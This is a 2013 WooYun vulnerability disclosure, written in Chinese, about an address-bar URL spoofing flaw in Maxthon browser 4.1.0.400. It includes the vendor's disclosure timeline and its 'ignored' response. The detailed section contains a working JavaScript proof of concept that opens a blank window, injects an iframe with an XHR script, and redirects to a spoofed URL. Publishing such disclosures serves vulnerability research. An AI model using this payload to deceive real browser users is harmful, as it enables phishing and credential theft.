傲游浏览器4.1.0.400伪造地址欺诈漏洞 | wooyun-2013-031195

漏洞概要关注数(24) 关注此漏洞

缺陷编号：

wooyun-2013-031195

漏洞标题：

傲游浏览器4.1.0.400伪造地址欺诈漏洞

漏洞详情

披露状态：

2013-07-19：细节已通知厂商并且等待厂商处理中
2013-07-24：厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2013-09-17：细节向核心白帽子及相关领域专家公开
2013-09-27：细节向普通白帽子公开
2013-10-07：细节向实习白帽子公开
2013-10-14：细节向公众公开

简要描述：

你们倒是修一下呀=。= 报了两个都是5天后自动忽略……
http://wooyun.org/bugs/wooyun-2010-027808
http://wooyun.org/bugs/wooyun-2010-027807

详细说明：

测试其他浏览器漏洞的没想到遨游又躺枪了....

<script>
function poc(){
var w=open('about:blank');
setTimeout(function(){
w.document.body.innerHTML='<iframe id=g src=http://www.google.com width=100% height=100%  onload=\'javascript:function/**/createXHR(){return/**/window.XMLHttpRequest?new/**/XMLHttpRequest():new/**/ActiveXObject("Microsoft.XMLHTTP");}function/**/getlocal(url){xmlHttp=createXHR();xmlHttp.open("GET",url,false);xmlHttp.send();result=xmlHttp.responseText;return/**/result;}function/**/main(){url="http://www.google.com/";alert(url);location.href="http://www.baidu.com:55858/login.php?prompt=!!spoof!!test!!";result=getlocal(url);alert(result);}main();\'>';
//
 
},100);
}
</script>
<button onclick=poc();>打开</button>

漏洞证明：

修复方案：

处理下各个逻辑

版权声明：转载请注明来源 blast@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2013-10-14 10:53

WooYun.org

漏洞概要关注数(24) 关注此漏洞

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 blast@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

WooYun.org

漏洞概要 关注数(24) 关注此漏洞

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 blast@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

漏洞概要关注数(24) 关注此漏洞